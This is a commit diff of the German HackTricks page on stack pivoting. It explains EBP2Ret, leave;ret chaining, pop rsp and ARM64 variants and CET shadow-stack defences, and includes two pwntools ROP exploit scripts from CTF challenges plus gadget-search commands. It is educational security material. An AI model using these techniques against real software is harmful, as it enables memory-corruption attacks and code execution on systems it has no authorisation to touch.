mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r
This commit is contained in:
parent
0faefc0874
commit
09307690f7
@ -2,61 +2,65 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der **`leave; ret`** Instruktionssequenz zu verketten.
|
||||
Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP/RBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des Rahmenzeigers und der **`leave; ret`** Instruktionssequenz zu verketten.
|
||||
|
||||
Zur Erinnerung, **`leave`** bedeutet im Grunde:
|
||||
Zur Erinnerung: Auf x86/x86-64 ist **`leave`** gleichbedeutend mit:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
Und da sich das **EBP im Stack** vor dem EIP befindet, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.
|
||||
Und da das gespeicherte **EBP/RBP im Stack** vor dem gespeicherten EIP/RIP liegt, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.
|
||||
|
||||
> Hinweise
|
||||
> - Bei 64-Bit ersetzen Sie EBP→RBP und ESP→RSP. Die Semantik bleibt gleich.
|
||||
> - Einige Compiler lassen den Frame-Pointer weg (siehe „EBP könnte nicht verwendet werden“). In diesem Fall könnte `leave` nicht erscheinen und diese Technik funktioniert nicht.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
|
||||
Diese Technik ist besonders nützlich, wenn Sie **das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern**. Sie nutzt das Verhalten des Funktionsepilogs.
|
||||
|
||||
Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **was effektiv bedeutet, dass er auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\
|
||||
Beachten Sie, dass Sie **2 Adressen kennen müssen**: Die, zu der der ESP gehen wird, und die, zu der Sie die Adresse schreiben müssen, auf die der ESP zeigt.
|
||||
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** in den Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das `pop` zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
|
||||
|
||||
Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den `ret` konsumieren wird.
|
||||
|
||||
#### Exploit-Konstruktion
|
||||
|
||||
Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können**. Der ESP wird hierhin zeigen und **die erste `ret`** ausführen.
|
||||
Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können**. RSP wird hierhin zeigen und **den ersten `ret` konsumieren**.
|
||||
|
||||
Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
|
||||
Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um **die Ausführung zu übertragen**. Sie könnten verwenden:
|
||||
|
||||
- Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse.
|
||||
- Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
|
||||
- Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gefolgt vom **Shellcode**, der ausgeführt werden soll.
|
||||
- Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette
|
||||
- Die Adresse von **`system()`**, gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86: `ret` Ziel = `&system`, dann 4 Junk-Bytes, dann `&"/bin/sh"`).
|
||||
- Die Adresse eines **`jmp esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), gefolgt von Inline-Shellcode.
|
||||
- Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette, die im beschreibbaren Speicher gestaged ist.
|
||||
|
||||
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, wegen des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B auszunutzen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
|
||||
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Bereich **Platz für das `pop ebp/rbp`** von `leave` sein muss (8B auf amd64, 4B auf x86). Sie können diese Bytes missbrauchen, um ein **zweites falsches EBP** zu setzen und die Kontrolle nach dem ersten Rückruf zu behalten.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP** ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit dem **`ret`** gesprungen werden soll, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter restriktiveren Bedingungen ermöglicht.\
|
||||
In der Regel wird das Byte 0x00 geändert, um so weit wie möglich zu springen.
|
||||
Es gibt eine Variante, die verwendet wird, wenn Sie **nur das am wenigsten signifikante Byte des gespeicherten EBP/RBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit **`ret`** gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit ein 1-Byte-Überschreiben es umleiten kann. Üblicherweise wird das niedrige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.
|
||||
|
||||
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass der neue ESP innerhalb des RET-SLED zeigt und die endgültige ROP-Kette ausgeführt wird.
|
||||
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.
|
||||
|
||||
### **EBP Chaining**
|
||||
### EBP-Verkettung
|
||||
|
||||
Daher ist es möglich, eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks zu setzen und eine Adresse zu `leave; ret` in `EIP`, um **den `ESP` zur kontrollierten `EBP`-Adresse aus dem Stack zu bewegen**.
|
||||
Indem Sie eine kontrollierte Adresse im gespeicherten `EBP`-Slot des Stacks platzieren und ein `leave; ret` Gadget in `EIP/RIP`, ist es möglich, **`ESP/RSP` zu einer vom Angreifer kontrollierten Adresse zu bewegen**.
|
||||
|
||||
Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren:
|
||||
Jetzt ist `RSP` kontrolliert und die nächste Anweisung ist `ret`. Platzieren Sie im kontrollierten Speicher etwas wie:
|
||||
|
||||
- **`&(nächstes falsches EBP)`** -> Lädt das neue EBP wegen `pop ebp` aus der `leave`-Anweisung
|
||||
- **`system()`** -> Aufgerufen von `ret`
|
||||
- **`&(leave;ret)`** -> Aufgerufen, nachdem system endet, wird es den ESP zum falschen EBP bewegen und erneut starten
|
||||
- **`&("/bin/sh")`**-> Parameter für `system`
|
||||
- `&(nächstes falsches EBP)` -> Geladen durch `pop ebp/rbp` von `leave`.
|
||||
- `&system()` -> Aufgerufen durch `ret`.
|
||||
- `&(leave;ret)` -> Nachdem `system` endet, bewegt RSP zum nächsten falschen EBP und fährt fort.
|
||||
- `&("/bin/sh")` -> Argument für `system`.
|
||||
|
||||
Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
|
||||
Auf diese Weise ist es möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
|
||||
|
||||
Dies ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Randfällen interessant sein.
|
||||
Das ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer und nur in Grenzfällen nützlich.
|
||||
|
||||
Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
|
||||
Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), das diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
0x0, # rbp (could be the address of another fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
@ -81,23 +85,24 @@ POP_RSI_R15,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leaked address in RBP
|
||||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
|
||||
|
||||
## EBP könnte nicht verwendet werden
|
||||
|
||||
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binary mit einigen Optimierungen kompiliert wird, hat **EBP niemals Kontrolle über ESP**, daher wird jeder Exploit, der durch Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat.\
|
||||
Das liegt daran, dass sich die **Prolog- und Epilog-Änderungen** ändern, wenn das Binary optimiert ist.
|
||||
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, **kontrolliert EBP/RBP niemals ESP/RSP**. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.
|
||||
|
||||
- **Nicht optimiert:**
|
||||
- Nicht optimiert / Frame-Pointer verwendet:
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
- **Optimiert:**
|
||||
- Optimiert / Frame-Zeiger weggelassen:
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger vollständig weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
|
||||
|
||||
## Andere Möglichkeiten, RSP zu steuern
|
||||
|
||||
### **`pop rsp`** Gadget
|
||||
### `pop rsp` Gadget
|
||||
|
||||
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** und es gibt einen **leak vom Stack**:
|
||||
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** und es gibt einen **Leak vom Stack**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -167,7 +174,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<reg>, rsp Gadget
|
||||
### xchg <reg>, rsp Gadget
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
@ -181,27 +188,74 @@ xchg <reg>, rsp
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen & Weitere Beispiele
|
||||
### Pivot-Gadgets schnell finden
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 Bit, Off-by-One-Exploitation mit einer ROP-Kette, die mit einem Ret-Sled beginnt
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
|
||||
Verwenden Sie Ihren bevorzugten Gadget-Finder, um nach klassischen Pivot-Primitiven zu suchen:
|
||||
|
||||
- `leave ; ret` in Funktionen oder in Bibliotheken
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (oder `add esp, <imm> ; ret` auf x86)
|
||||
|
||||
Beispiele:
|
||||
```bash
|
||||
# Ropper
|
||||
ropper --file ./vuln --search "leave; ret"
|
||||
ropper --file ./vuln --search "pop rsp"
|
||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||||
|
||||
# ROPgadget
|
||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
### Klassisches Pivot-Staging-Muster
|
||||
|
||||
Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
|
||||
|
||||
1) Verwenden Sie einen kleinen anfänglichen Overflow, um `read`/`recv` in einen großen beschreibbaren Bereich (z. B. `.bss`, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren.
|
||||
2) Kehren Sie in ein Pivot-Gadget zurück (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), um RSP in diesen Bereich zu verschieben.
|
||||
3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode lesen und dann zu ihm springen).
|
||||
|
||||
## Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
|
||||
|
||||
Moderne x86-CPUs und Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem gepivotteten Stack ausgeführt wird.
|
||||
|
||||
- Für Hintergrundinformationen und tiefere Details siehe:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- Schnelle Überprüfungen unter Linux:
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
|
||||
# 2) Is the CPU/kernel capable?
|
||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||||
|
||||
# 3) Is SHSTK active for this process?
|
||||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||||
|
||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||||
(gdb) checksec
|
||||
```
|
||||
- Hinweise für Labs/CTF:
|
||||
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binärdateien, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
|
||||
- JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell `ret`-basierte Pivots.
|
||||
|
||||
- Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei `ret`; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64 speichern und rufen die **Prologe und Epiloge** der Funktionen **das SP-Register nicht im Stack** ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht an die Adresse zurück, die von SP gezeigt wird, sondern **an die Adresse in `x30`**.
|
||||
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
|
||||
|
||||
Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, müssten Sie immer noch einen Weg finden, um **das `x30`**-Register zu kontrollieren.
|
||||
Daher können Sie standardmäßig durch das Ausnutzen des Epilogs **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
|
||||
|
||||
- Prolog
|
||||
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP zeigt auf den Frame-Record
|
||||
mov x29, sp // FP zeigt auf den Frame-Datensatz
|
||||
```
|
||||
|
||||
- Epilog
|
||||
@ -213,12 +267,23 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Der Weg, um etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **dann `RET`** darauf auszuführen.
|
||||
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog auszunutzen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
|
||||
|
||||
Auch auf der folgenden Seite können Sie das Äquivalent von **Ret2esp in ARM64** sehen:
|
||||
Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines Qwords. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge ausnutzt + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch das Ausnutzen dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
|
||||
- Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK, `nousershstk`, `/proc/$PID/status`-Flags und Aktivierung über `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user